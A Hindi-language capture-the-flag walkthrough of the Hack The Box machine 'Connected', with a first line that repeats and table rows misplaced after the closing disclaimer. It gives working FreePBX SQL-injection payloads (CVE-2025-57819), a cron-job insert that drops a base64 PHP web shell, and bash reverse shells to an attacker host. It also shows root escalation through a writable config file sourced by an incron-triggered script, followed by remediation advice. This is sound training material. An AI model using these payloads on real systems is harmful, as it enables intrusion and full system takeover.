
यह वॉकथ्रू HTB मशीन Connected के पूर्ण समझौते का दस्तावेजीकरण करता है।
यह वॉकथ्रू HTB मशीन Connected के पूर्ण समझौते का दस्तावेजीकरण करता है।
हमले की श्रृंखला FreePBX में बिना प्रमाणीकरण के SQL इंजेक्शन भेद्यता से शुरू होती है, जिसका उपयोग एक क्राफ्टेड क्रॉन जॉब के माध्यम से asterisk उपयोगकर्ता के रूप में कोड निष्पादन प्राप्त करने के लिए किया जाता है। एक लिखने योग्य कॉन्फ़िगरेशन फ़ाइल, incron ट्रिगर के साथ मिलकर, फिर root तक विशेषाधिकार वृद्धि की अनुमति देती है।
यह मामला दर्शाता है कि वेब एप्लिकेशन भेद्यताएं, जब कमज़ोर स्थानीय अनुमतियों और असुरक्षित विशेषाधिकार प्राप्त स्वचालन के साथ संयुक्त होती हैं, तो पूर्ण सिस्टम समझौते का कारण बन सकती हैं।
एक त्वरित पोर्ट स्कैन लक्ष्य के खुले पोर्ट को प्रकट करता है:
nmap -T5 --open <MACHINE_IP>
| पोर्ट | सेवा |
|---|---|
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
आगे के निरीक्षण से PHP 7.4 चलाने वाला एक Apache सर्वर दिखाई देता है, जिसमें HTTP रीडायरेक्ट होता है:
http://connected.htb/
साइट तक ठीक से पहुंचने के लिए, वर्चुअल होस्ट मैपिंग जोड़ें:
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts
http://connected.htb/ पर ब्राउज़ करने से पता चलता है:
FreePBX 16.0.40.7
शोध CVE-2025-57819 की पहचान करता है, जो FreePBX एंडपॉइंट मैनेजर घटक में एक बिना प्रमाणीकरण के एरर-आधारित SQL इंजेक्शन भेद्यता है।
डेटाबेस उपयोगकर्ता को निकालकर भेद्यता की पुष्टि करें:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"
प्रतिक्रिया में शामिल है:
~USER:freepbxuser@localhost~
यह पुष्टि करता है कि SQL इंजेक्शन काम करता है और एप्लिकेशन MySQL से इस रूप में जुड़ता है:
freepbxuser@localhost
FreePBX अनुसूचित जॉब्स को cron_jobs तालिका में संग्रहीत करता है।
इस तालिका में एक दुर्भावनापूर्ण प्रविष्टि इंजेक्ट करके, मनमाने कमांड को निष्पादन के लिए अनुसूचित किया जा सकता है।
निम्नलिखित पेलोड वेब रूट में एक PHP वेब शेल बनाता है:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "
सर्वर एक सामान्य 500 त्रुटि लौटाता है, लेकिन SQL स्टेटमेंट सफलतापूर्वक निष्पादित होता है।
लगभग एक मिनट के बाद, सत्यापित करें कि वेब शेल बनाया गया है:
curl -ik "https://connected.htb/c1sco.php?cmd=id"
आउटपुट:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
अब हमारे पास HTTP अनुरोधों के माध्यम से asterisk उपयोगकर्ता के रूप में कमांड निष्पादन है।
हमलावर मशीन पर Netcat लिसनर शुरू करें:
nc -lvnp 4444
वेब शेल के माध्यम से Bash रिवर्स शेल ट्रिगर करें:
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"
एक कनेक्शन स्थापित होता है:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)
अब हमारे पास asterisk उपयोगकर्ता के रूप में एक इंटरैक्टिव शेल है।
/etc के अंतर्गत लिखने योग्य फ़ाइलों की खोज करें, ज्ञात गलत सकारात्मक को छोड़कर:
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20
एक उल्लेखनीय परिणाम है:
/etc/dahdi/init.conf
इसके बाद, incron कॉन्फ़िगरेशन की जांच करें:
cat /etc/incron.d/*
यह निम्नलिखित फाइलसिस्टम वॉचर को प्रकट करता है:
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
इसका मतलब है कि जब भी सेंटिनल फ़ाइल:
/var/spool/asterisk/sysadmin/dahdi_restart
में लिखा जाता है, निम्नलिखित स्क्रिप्ट निष्पादित होती है:
/usr/sbin/sysadmin_dahdi_restart
स्क्रिप्ट का निरीक्षण करने से पता चलता है कि यह स्रोत लेती है:
/etc/dahdi/init.conf
चूंकि /etc/dahdi/init.conf asterisk उपयोगकर्ता द्वारा लिखने योग्य है और एक रूट प्रक्रिया द्वारा स्रोत लिया जाता है, यह root के रूप में मनमाने कमांड निष्पादन का मार्ग प्रदान करता है।
पोर्ट 4445 पर दूसरा Netcat लिसनर शुरू करें:
nc -lvnp 4445
asterisk शेल से, लिखने योग्य कॉन्फ़िगरेशन फ़ाइल में एक रिवर्स-शेल पेलोड जोड़ें:
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf
देखी गई फ़ाइल में लिखकर incron क्रिया ट्रिगर करें:
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
सेकंडों के भीतर, रूट शेल कनेक्ट होता है:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)
🎯 पूर्ण रूट एक्सेस प्राप्त!
cat /home/asterisk/user.txt
आउटपुट:
HTB{...user_flag...}
cat /root/root.txt
आउटपुट:
HTB{...root_flag...}
बिना प्रमाणीकरण के SQL इंजेक्शन
│
▼
MySQL क्वेरी निष्पादन
│
▼
दुर्भावनापूर्ण क्रॉन जॉब डालें
│
▼
PHP वेब शेल
│
▼
asterisk शेल
│
▼
लिखने योग्य /etc/dahdi/init.conf
│
▼
incron ट्रिगर
│
▼
रूट कमांड निष्पादन
│
▼
root
| भेद्यता | प्रभाव |
|---|---|
| बिना प्रमाणीकरण के SQL इंजेक्शन | डेटाबेस उपयोगकर्ता संदर्भ उजागर किया और दुर्भावनापूर्ण डेटा लिखने के लिए आधार प्रदान किया |
| क्रॉन जॉब इंजेक्शन | कम-विशेषाधिकार वाले सेवा खाते के रूप में दूरस्थ कोड निष्पादन सक्षम किया |
| लिखने योग्य कॉन्फ़िगरेशन फ़ाइल + incron |
सभी डेटाबेस संचालन के लिए पैरामीटराइज़्ड क्वेरी और सख्त इनपुट सत्यापन का उपयोग करें।
उपयोगकर्ता-नियंत्रित इनपुट को कभी भी सीधे SQL क्वेरी में संयोजित न करें।
विशेषाधिकार प्राप्त सेवाओं द्वारा उपभोग की जाने वाली कॉन्फ़िगरेशन फ़ाइलें कम-विशेषाधिकार वाले सेवा खातों द्वारा लिखने योग्य नहीं होनी चाहिए।
विशेष रूप से, इसके अंतर्गत फ़ाइलों पर अनुमतियों की समीक्षा करें:
/etc/
अनुसूचित कार्यों और फाइलसिस्टम वॉचर का नियमित रूप से ऑडिट करें।
विशेषाधिकार प्राप्त जॉब्स को उन फ़ाइलों के आधार पर कमांड निष्पादित नहीं करना चाहिए जिन्हें अविश्वसनीय उपयोगकर्ता संशोधित कर सकते हैं।
रूट-स्वामित्व वाली स्क्रिप्ट्स को उन कॉन्फ़िगरेशन फ़ाइलों का स्रोत लेने से बचना चाहिए जिन्हें अन-विशेषाधिकार प्राप्त उपयोगकर्ताओं द्वारा संशोधित किया जा सकता है।
वेब एप्लिकेशन और सेवाओं को उनके संचालन के लिए आवश्यक न्यूनतम अनुमतियों के साथ चलना चाहिए।
FreePBX/Apache वातावरण के विशेषाधिकारों को कम करना एक सफल एप्लिकेशन समझौते के प्रभाव को काफी हद तक सीमित कर सकता है।
CVE-2025-57819
│
▼
बिना प्रमाणीकरण के SQL इंजेक्शन
│
▼
cron_jobs तालिका हेरफेर
│
▼
अनुसूचित PHP वेब शेल
│
▼
asterisk उपयोगकर्ता
│
▼
लिखने योग्य /etc/dahdi/init.conf
│
▼
incron फ़ाइल वॉचर
│
▼
विशेषाधिकार प्राप्त DAHDI स्क्रिप्ट
│
▼
रूट शेल
│
▼
🏆 पूर्ण सिस्टम समझौता
अस्वीकरण: यह राइट-अप शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण, जैसे Hack The Box लैब्स और नियंत्रित वातावरण के लिए है।
| सीधे root तक विशेषाधिकार वृद्धि की अनुमति दी |
| विशेषाधिकार प्राप्त स्क्रिप्ट उपयोगकर्ता-लिखने योग्य फ़ाइल का स्रोत लेना | रूट विशेषाधिकारों के साथ मनमाने कमांड निष्पादित करने की अनुमति दी |